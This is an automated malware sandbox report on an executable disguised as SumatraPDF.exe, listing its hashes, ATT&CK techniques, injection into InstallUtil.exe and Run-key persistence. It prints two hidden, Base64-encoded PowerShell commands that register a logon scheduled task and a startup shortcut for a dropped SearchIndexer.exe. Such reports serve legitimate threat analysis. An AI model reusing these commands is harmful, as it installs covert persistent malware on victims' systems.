242a868105d24e3f0c7621dbe5465ac5340bfe03ed12cc48943b3a5b8cd8185c

Analysis

max time kernel
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/07/2026, 15:54

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General

Target
SumatraPDF.exe
Size 1.2MB
Sample260702-tb6veshs4v
SHA256 242a868105d24e3f0c7621dbe5465ac5340bfe03ed12cc48943b3a5b8cd8185c
MD5 aa8a9120b1538141d75adf787ad6e5d1
SHA1 cbabfcf43083e92a075ca70982c6f4f6f90c3533
SHA512 5a6f934d91716e18a09133119549851053a86ad1703c9ab8b9a82af792a1b20fd3acdc9be84c7cab256b82c264e6bc85a56046aef058d6d788bcd6ce5f77bec2
SSDEEP 12288:paOboIdL+wqyFot2wkda7E28rfMxwcrJAuBhLV911mTPynVjybRfpSi7s6wma3g0:wOAVyFoBkkAqwSPKatadKXdDET
TLSH
T18855CF81B7FC16A6E1FE6734A87528144EB9FC0AE47DD78F562451AE1DA2B00CD203B7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

costura execution packer persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5476	powershell.exe
4932	powershell.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SearchIndexer.lnk	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4768	SearchIndexer.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-759331733-200834466-1207319849-1000\Software\Microsoft\Windows\CurrentVersion\Run\SearchIndexer = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\WindowsApps\\SearchIndexer.exe\""	SumatraPDF.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SearchIndexer = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\WindowsApps\\SearchIndexer.exe\""	SumatraPDF.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4768 set thread context of 6932	4768	SearchIndexer.exe	93
PID 6028 set thread context of 5140	6028	SumatraPDF.exe	97

Costura .NET executable packer 1 IoCs

Costura packer aka Costura Fody, is an add-in for the .NET framework that embeds all external dependency .dll files as resources inside main executable.

costura packer

resource	yara_rule
behavioral2/memory/4768-28-0x000000001CF90000-0x000000001CFB8000-memory.dmp	costura

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5476	powershell.exe
5476	powershell.exe
4932	powershell.exe
4932	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	6028	SumatraPDF.exe
Token: SeDebugPrivilege	5476	powershell.exe
Token: SeIncreaseQuotaPrivilege	5476	powershell.exe
Token: SeSecurityPrivilege	5476	powershell.exe
Token: SeTakeOwnershipPrivilege	5476	powershell.exe
Token: SeLoadDriverPrivilege	5476	powershell.exe
Token: SeSystemProfilePrivilege	5476	powershell.exe
Token: SeSystemtimePrivilege	5476	powershell.exe
Token: SeProfSingleProcessPrivilege	5476	powershell.exe
Token: SeIncBasePriorityPrivilege	5476	powershell.exe
Token: SeCreatePagefilePrivilege	5476	powershell.exe
Token: SeBackupPrivilege	5476	powershell.exe
Token: SeRestorePrivilege	5476	powershell.exe
Token: SeShutdownPrivilege	5476	powershell.exe
Token: SeDebugPrivilege	5476	powershell.exe
Token: SeSystemEnvironmentPrivilege	5476	powershell.exe
Token: SeRemoteShutdownPrivilege	5476	powershell.exe
Token: SeUndockPrivilege	5476	powershell.exe
Token: SeManageVolumePrivilege	5476	powershell.exe
Token: 33	5476	powershell.exe
Token: 34	5476	powershell.exe
Token: 35	5476	powershell.exe
Token: 36	5476	powershell.exe
Token: SeIncreaseQuotaPrivilege	5476	powershell.exe
Token: SeSecurityPrivilege	5476	powershell.exe
Token: SeTakeOwnershipPrivilege	5476	powershell.exe
Token: SeLoadDriverPrivilege	5476	powershell.exe
Token: SeSystemProfilePrivilege	5476	powershell.exe
Token: SeSystemtimePrivilege	5476	powershell.exe
Token: SeProfSingleProcessPrivilege	5476	powershell.exe
Token: SeIncBasePriorityPrivilege	5476	powershell.exe
Token: SeCreatePagefilePrivilege	5476	powershell.exe
Token: SeBackupPrivilege	5476	powershell.exe
Token: SeRestorePrivilege	5476	powershell.exe
Token: SeShutdownPrivilege	5476	powershell.exe
Token: SeDebugPrivilege	5476	powershell.exe
Token: SeSystemEnvironmentPrivilege	5476	powershell.exe
Token: SeRemoteShutdownPrivilege	5476	powershell.exe
Token: SeUndockPrivilege	5476	powershell.exe
Token: SeManageVolumePrivilege	5476	powershell.exe
Token: 33	5476	powershell.exe
Token: 34	5476	powershell.exe
Token: 35	5476	powershell.exe
Token: 36	5476	powershell.exe
Token: SeIncreaseQuotaPrivilege	5476	powershell.exe
Token: SeSecurityPrivilege	5476	powershell.exe
Token: SeTakeOwnershipPrivilege	5476	powershell.exe
Token: SeLoadDriverPrivilege	5476	powershell.exe
Token: SeSystemProfilePrivilege	5476	powershell.exe
Token: SeSystemtimePrivilege	5476	powershell.exe
Token: SeProfSingleProcessPrivilege	5476	powershell.exe
Token: SeIncBasePriorityPrivilege	5476	powershell.exe
Token: SeCreatePagefilePrivilege	5476	powershell.exe
Token: SeBackupPrivilege	5476	powershell.exe
Token: SeRestorePrivilege	5476	powershell.exe
Token: SeShutdownPrivilege	5476	powershell.exe
Token: SeDebugPrivilege	5476	powershell.exe
Token: SeSystemEnvironmentPrivilege	5476	powershell.exe
Token: SeRemoteShutdownPrivilege	5476	powershell.exe
Token: SeUndockPrivilege	5476	powershell.exe
Token: SeManageVolumePrivilege	5476	powershell.exe
Token: 33	5476	powershell.exe
Token: 34	5476	powershell.exe
Token: 35	5476	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 6028 wrote to memory of 5476	6028	SumatraPDF.exe	89
PID 4768 wrote to memory of 6932	4768	SearchIndexer.exe	93
PID 4768 wrote to memory of 6932	4768	SearchIndexer.exe	93
PID 4768 wrote to memory of 6932	4768	SearchIndexer.exe	93
PID 4768 wrote to memory of 6932	4768	SearchIndexer.exe	93
PID 4768 wrote to memory of 6932	4768	SearchIndexer.exe	93
PID 4768 wrote to memory of 6932	4768	SearchIndexer.exe	93
PID 4768 wrote to memory of 6932	4768	SearchIndexer.exe	93
PID 4768 wrote to memory of 6932	4768	SearchIndexer.exe	93
PID 6028 wrote to memory of 4932	6028	SumatraPDF.exe	95
PID 6028 wrote to memory of 5140	6028	SumatraPDF.exe	97
PID 6028 wrote to memory of 5140	6028	SumatraPDF.exe	97
PID 6028 wrote to memory of 5140	6028	SumatraPDF.exe	97
PID 6028 wrote to memory of 5140	6028	SumatraPDF.exe	97
PID 6028 wrote to memory of 5140	6028	SumatraPDF.exe	97
PID 6028 wrote to memory of 5140	6028	SumatraPDF.exe	97
PID 6028 wrote to memory of 5140	6028	SumatraPDF.exe	97
PID 6028 wrote to memory of 5140	6028	SumatraPDF.exe	97

C:\Users\Admin\AppData\Local\Temp\SumatraPDF.exe
"C:\Users\Admin\AppData\Local\Temp\SumatraPDF.exe"
1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:6028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBBAHAAcABzAFwAUwBlAGEAcgBjAGgASQBuAGQAZQB4AGUAcgAuAGUAeABlACcAOwAkAHQAPQBOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0AQQB0AEwAbwBnAG8AbgAgAC0AVQBzAGUAcgAgACQAZQBuAHYAOgBVAFMARQBSAE4AQQBNAEUAOwAkAHMAPQBOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABJAGYARwBvAGkAbgBnAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ASABpAGQAZABlAG4AIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABbAFQAaQBtAGUAUwBwAGEAbgBdADoAOgBaAGUAcgBvACkAOwBSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAFMAZQBhAHIAYwBoAEkAbgBkAGUAeABlAHIAJwAgAC0AQQBjAHQAaQBvAG4AIAAkAGEAIAAtAFQAcgBpAGcAZwBlAHIAIAAkAHQAIAAtAFMAZQB0AHQAaQBuAGcAcwAgACQAcwAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAHQAbwBwAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5476
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABzAGgAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAOwAkAGwAbgBrAD0AJABzAGgALgBDAHIAZQBhAHQAZQBTAGgAbwByAHQAYwB1AHQAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAUwB0AGEAcgB0ACAATQBlAG4AdQBcAFAAcgBvAGcAcgBhAG0AcwBcAFMAdABhAHIAdAB1AHAAXABTAGUAYQByAGMAaABJAG4AZABlAHgAZQByAC4AbABuAGsAJwApADsAJABsAG4AawAuAFQAYQByAGcAZQB0AFAAYQB0AGgAPQAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAEEAcABwAHMAXABTAGUAYQByAGMAaABJAG4AZABlAHgAZQByAC4AZQB4AGUAJwA7ACQAbABuAGsALgBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAPQA3ADsAJABsAG4AawAuAFMAYQB2AGUAKAApAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops startup file
  - Suspicious behavior: EnumeratesProcesses
  PID:4932
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:5140

C:\Users\Admin\AppData\Roaming\Microsoft\WindowsApps\SearchIndexer.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\WindowsApps\SearchIndexer.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4768
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:6932

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
MD5 acbc65123954839a819fa2495d239bf7
SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
TLSH
T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_grfi0ago.y33.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_grfi0ago.y33.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

SearchIndexer.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\WindowsApps\SearchIndexer.exe
Size 1.2MB
SHA256 242a868105d24e3f0c7621dbe5465ac5340bfe03ed12cc48943b3a5b8cd8185c
MD5 aa8a9120b1538141d75adf787ad6e5d1
SHA1 cbabfcf43083e92a075ca70982c6f4f6f90c3533
SHA512 5a6f934d91716e18a09133119549851053a86ad1703c9ab8b9a82af792a1b20fd3acdc9be84c7cab256b82c264e6bc85a56046aef058d6d788bcd6ce5f77bec2
SSDEEP 12288:paOboIdL+wqyFot2wkda7E28rfMxwcrJAuBhLV911mTPynVjybRfpSi7s6wma3g0:wOAVyFoBkkAqwSPKatadKXdDET
TLSH
T18855CF81B7FC16A6E1FE6734A87528144EB9FC0AE47DD78F562451AE1DA2B00CD203B7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/4768-41-0x000000001E460000-0x000000001E468000-memory.dmp

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memory/4768-38-0x000000001CFC0000-0x000000001CFDE000-memory.dmp

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memory/4768-34-0x000000001F100000-0x000000001F126000-memory.dmp

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memory/4768-35-0x0000000001FF0000-0x0000000001FF8000-memory.dmp

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memory/4768-30-0x000000001CFE0000-0x000000001CFFE000-memory.dmp

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memory/4768-27-0x000000001E480000-0x000000001E4F6000-memory.dmp

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memory/4768-28-0x000000001CF90000-0x000000001CFB8000-memory.dmp

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memory/5476-29-0x00007FFE50990000-0x00007FFE51334000-memory.dmp

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memory/5476-18-0x00007FFE50990000-0x00007FFE51334000-memory.dmp

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memory/5476-21-0x00007FFE50990000-0x00007FFE51334000-memory.dmp

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memory/5476-25-0x00007FFE50990000-0x00007FFE51334000-memory.dmp

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memory/5476-24-0x00000217734B0000-0x00000217734BA000-memory.dmp

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memory/5476-26-0x00007FFE50990000-0x00007FFE51334000-memory.dmp

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memory/5476-20-0x00007FFE50990000-0x00007FFE51334000-memory.dmp

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memory/5476-17-0x0000021773490000-0x00000217734AE000-memory.dmp

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memory/5476-47-0x00007FFE50990000-0x00007FFE51334000-memory.dmp

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memory/5476-19-0x0000021773920000-0x00000217739D2000-memory.dmp

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memory/5476-32-0x00007FFE50990000-0x00007FFE51334000-memory.dmp

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memory/5476-31-0x00007FFE50990000-0x00007FFE51334000-memory.dmp

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memory/5476-33-0x00007FFE50990000-0x00007FFE51334000-memory.dmp

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memory/5476-22-0x00007FFE50990000-0x00007FFE51334000-memory.dmp

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memory/5476-36-0x00007FFE50990000-0x00007FFE51334000-memory.dmp

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memory/5476-15-0x00007FFE50990000-0x00007FFE51334000-memory.dmp

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memory/5476-3-0x00000217733C0000-0x00000217733E2000-memory.dmp

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memory/5476-39-0x00007FFE50990000-0x00007FFE51334000-memory.dmp

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memory/5476-40-0x00000217734E0000-0x00000217734FE000-memory.dmp

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memory/5476-37-0x00007FFE50990000-0x00007FFE51334000-memory.dmp

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memory/5476-45-0x00007FFE50990000-0x00007FFE51334000-memory.dmp

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memory/5476-44-0x00007FFE50990000-0x00007FFE51334000-memory.dmp

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memory/5476-43-0x00007FFE50990000-0x00007FFE51334000-memory.dmp

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memory/6028-2-0x00007FFE50990000-0x00007FFE51334000-memory.dmp

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memory/6028-42-0x00007FFE50990000-0x00007FFE51334000-memory.dmp

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memory/6028-0-0x00000000009B0000-0x0000000000AF0000-memory.dmp

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memory/6028-1-0x00007FFE50B1F000-0x00007FFE50B20000-memory.dmp

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memory/6028-57-0x00007FFE50990000-0x00007FFE51334000-memory.dmp

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